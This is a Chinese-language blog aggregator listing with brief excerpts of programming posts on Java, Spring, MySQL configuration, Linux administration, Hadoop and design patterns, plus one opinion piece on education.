                    RSS是 Really Simple Syndication的缩写（对rss2.0而言，是这三个词的缩写，对rss1.0而言则是RDF Site Summary的缩写，1.0与2.0走的是两个体系）。   RSS
  • 分页查询实现 g21121 分页查询
    在查询列表时我们常常会用到分页，分页的好处就是减少数据交换，每次查询一定数量减少数据库压力等等。 按实现形式分前台分页和服务器分页： 前台分页就是一次查询出所有记录，在页面中用js进行虚拟分页，这种形式在数据量较小时优势比较明显，一次加载就不必再访问服务器了，但当数据量较大时会对页面造成压力，传输速度也会大幅下降。 服务器分页就是每次请求相同数量记录，按一定规则排序，每次取一定序号直接的数据
  • spring jms异步消息处理 510888780 jms
    spring JMS对于异步消息处理基本上只需配置下就能进行高效的处理。其核心就是消息侦听器容器，常用的类就是DefaultMessageListenerContainer。该容器可配置侦听器的并发数量，以及配合MessageListenerAdapter使用消息驱动POJO进行消息处理。且消息驱动POJO是放入TaskExecutor中进行处理，进一步提高性能，减少侦听器的阻塞。具体配置如下：
  • highCharts柱状图 布衣凌宇 hightCharts柱图
    第一步：导入 exporting.js,grid.js,highcharts.js;第二步：写controller   @Controller@RequestMapping(value="${adminPath}/statistick")public class StatistickController {  private UserServi
  • 我的spring学习笔记2-IoC（反向控制 依赖注入） aijuans springmvcSpring 教程spring3 教程Spring 入门
    IoC（反向控制 依赖注入）这是Spring提出来了，这也是Spring一大特色。这里我不用多说，我们看Spring教程就可以了解。当然我们不用Spring也可以用IoC，下面我将介绍不用Spring的IoC。 IoC不是框架，她是java的技术，如今大多数轻量级的容器都会用到IoC技术。这里我就用一个例子来说明： 如：程序中有 Mysql.calss 、Oracle.class 、SqlSe
  • TLS java简单实现 antlove javasslkeystoretlssecure
      1. SSLServer.java package ssl; import java.io.FileInputStream; import java.io.InputStream; import java.net.ServerSocket; import java.net.Socket; import java.security.KeyStore; import
  • Zip解压压缩文件 百合不是茶 Zip格式解压Zip流的使用文件解压
       ZIP文件的解压缩实质上就是从输入流中读取数据。Java.util.zip包提供了类ZipInputStream来读取ZIP文件,下面的代码段创建了一个输入流来读取ZIP格式的文件; ZipInputStream in = new ZipInputStream(new FileInputStream(zipFileName));     &n
  • underscore.js 学习（一） bijian1013 JavaScriptunderscore
            工作中需要用到underscore.js，发现这是一个包括了很多基本功能函数的js库，里面有很多实用的函数。而且它没有扩展 javascript的原生对象。主要涉及对Collection、Object、Array、Function的操作。       学
  • java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon) bijian1013 javajvmjstatd
    1.介绍         jstatd是一个基于RMI（Remove Method Invocation）的服务程序，它用于监控基于HotSpot的JVM中资源的创建及销毁，并且提供了一个远程接口允许远程的监控工具连接到本地的JVM执行命令。         jstatd是基于RMI的，所以在运行jstatd的服务
  • 【Spring框架三】Spring常用注解之Transactional bit1129 transactional
    Spring可以通过注解@Transactional来为业务逻辑层的方法(调用DAO完成持久化动作)添加事务能力，如下是@Transactional注解的定义：   /* * Copyright 2002-2010 the original author or authors. * * Licensed under the Apache License, Version
  • 我(程序员)的前进方向 bitray 程序员
    作为一个普通的程序员,我一直游走在java语言中,java也确实让我有了很多的体会.不过随着学习的深入,java语言的新技术产生的越来越多,从最初期的javase,我逐渐开始转变到ssh,ssi,这种主流的码农,.过了几天为了解决新问题,webservice的大旗也被我祭出来了,又过了些日子jms架构的activemq也开始必须学习了.再后来开始了一系列技术学习,osgi,restful.....
  • nginx lua开发经验总结 ronin47
    使用nginx lua已经两三个月了，项目接开发完毕了，这几天准备上线并且跟高德地图对接。回顾下来lua在项目中占得必中还是比较大的，跟PHP的占比差不多持平了，因此在开发中遇到一些问题备忘一下 1：content_by_lua中代码容量有限制，一般不要写太多代码，正常编写代码一般在100行左右（具体容量没有细心测哈哈，在4kb左右），如果超出了则重启nginx的时候会报 too long pa
  • java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5}，1在栈顶。颠倒之后的栈为{5,4,3,2,1}，5处在栈顶 bylijinnan java
    import java.util.Stack; public class ReverseStackRecursive { /** * Q 66.颠倒栈。 * 题目：用递归颠倒一个栈。例如输入栈{1,2,3,4,5}，1在栈顶。 * 颠倒之后的栈为{5,4,3,2,1}，5处在栈顶。 *1. Pop the top element *2. Revers
  • 正确理解Linux内存占用过高的问题 cfyme linux
    Linux开机后，使用top命令查看，4G物理内存发现已使用的多大3.2G，占用率高达80%以上： Mem:   3889836k total,  3341868k used,   547968k free,   286044k buffers Swap:  6127608k total,&nb
  • [JWFD开源工作流]当前流程引擎设计的一个急需解决的问题 comsci 工作流
         当我们的流程引擎进入IRC阶段的时候，当循环反馈模型出现之后，每次循环都会导致一大堆节点内存数据残留在系统内存中，循环的次数越多，这些残留数据将导致系统内存溢出，并使得引擎崩溃。。。。。。       而解决办法就是利用汇编语言或者其它系统编程语言，在引擎运行时，把这些残留数据清除掉。
  • 自定义类的equals函数 dai_lm equals
    仅作笔记使用 public class VectorQueue { private final Vector<VectorItem> queue; private class VectorItem { private final Object item; private final int quantity; public VectorI
  • Linux下安装R语言 datageek R语言 linux
    命令如下：sudo gedit  /etc/apt/sources.list1、deb http://mirrors.ustc.edu.cn/CRAN/bin/linux/ubuntu/ precise/ 2、deb http://dk.archive.ubuntu.com/ubuntu hardy universesudo apt-key adv --keyserver ke
  • 如何修改mysql 并发数(连接数)最大值 dcj3sjt126com mysql
    MySQL的连接数最大值跟MySQL没关系，主要看系统和业务逻辑了   方法一：进入MYSQL安装目录 打开MYSQL配置文件 my.ini 或 my.cnf查找 max_connections=100 修改为 max_connections=1000 服务里重起MYSQL即可 　　方法二：MySQL的最大连接数默认是100客户端登录：mysql -uusername -ppass
  • 单一功能原则 dcj3sjt126com 面向对象的程序设计软件设计编程原则
    单一功能原则[ 编辑]     SOLID 原则 单一功能原则 开闭原则 Liskov代换原则 接口隔离原则 依赖反转原则 查   论   编 在面向对象编程领域中，单一功能原则（Single responsibility principle）规定每个类都应该有
  • POJO、VO和JavaBean区别和联系 fanmingxing VOPOJOjavabean
    POJO和JavaBean是我们常见的两个关键字，一般容易混淆，POJO全称是Plain Ordinary Java Object / Plain Old Java Object，中文可以翻译成：普通Java类，具有一部分getter/setter方法的那种类就可以称作POJO，但是JavaBean则比POJO复杂很多，JavaBean是一种组件技术，就好像你做了一个扳子，而这个扳子会在很多地方被
  • SpringSecurity3.X--LDAP：AD配置 hanqunfeng SpringSecurity
    前面介绍过基于本地数据库验证的方式，参考http://hanqunfeng.iteye.com/blog/1155226，这里说一下如何修改为使用AD进行身份验证【只对用户名和密码进行验证，权限依旧存储在本地数据库中】。   将配置文件中的如下部分删除： <!-- 认证管理器，使用自定义的UserDetailsService，并对密码采用md5加密-->
  • mac mysql 修改密码 IXHONG mysql
    $ sudo /usr/local/mysql/bin/mysqld_safe –user=root & //启动MySQL(也可以通过偏好设置面板来启动)$ sudo /usr/local/mysql/bin/mysqladmin -uroot password yourpassword //设置MySQL密码（注意，这是第一次MySQL密码为空的时候的设置命令，如果是修改密码，还需在-
  • 设计模式--抽象工厂模式 kerryg 设计模式
    抽象工厂模式：     工厂模式有一个问题就是，类的创建依赖于工厂类，也就是说，如果想要拓展程序，必须对工厂类进行修改，这违背了闭包原则。我们采用抽象工厂模式，创建多个工厂类，这样一旦需要增加新的功能，直接增加新的工厂类就可以了，不需要修改之前的代码。     总结：这个模式的好处就是，如果想增加一个功能，就需要做一个实现类，
  • 评"高中女生军训期跳楼” nannan408
       首先，先抛出我的观点，各位看官少点砖头。那就是，中国的差异化教育必须做起来。    孔圣人有云：有教无类。不同类型的人，都应该有对应的教育方法。目前中国的一体化教育，不知道已经扼杀了多少创造性人才。我们出不了爱迪生，出不了爱因斯坦，很大原因，是我们的培养思路错了，我们是第一要“顺从”。如果不顺从，我们的学校，就会用各种方法，罚站，罚写作业，各种罚。军
  • scala如何读取和写入文件内容？ qindongliang1922 javajvmscala
    直接看如下代码： package file import java.io.RandomAccessFile import java.nio.charset.Charset import scala.io.Source import scala.reflect.io.{File, Path} /** * Created by qindongliang on 2015/
  • C语言算法之百元买百鸡 qiufeihu c算法
    中国古代数学家张丘建在他的《算经》中提出了一个著名的“百钱买百鸡问题”，鸡翁一，值钱五，鸡母一，值钱三，鸡雏三，值钱一，百钱买百鸡，问翁，母，雏各几何？ 代码如下： #include <stdio.h> int main() { int cock,hen,chick; /*定义变量为基本整型*/ for(coc
  • Hadoop集群安全性：Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode wyz2009107220 NameNode
    正如大家所知，NameNode在Hadoop系统中存在单点故障问题，这个对于标榜高可用性的Hadoop来说一直是个软肋。本文讨论一下为了解决这个问题而存在的几个solution。 1. Secondary NameNode 原理：Secondary NN会定期的从NN中读取editlog，与自己存储的Image进行合并形成新的metadata image 优点：Hadoop较早的版本都自带，
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他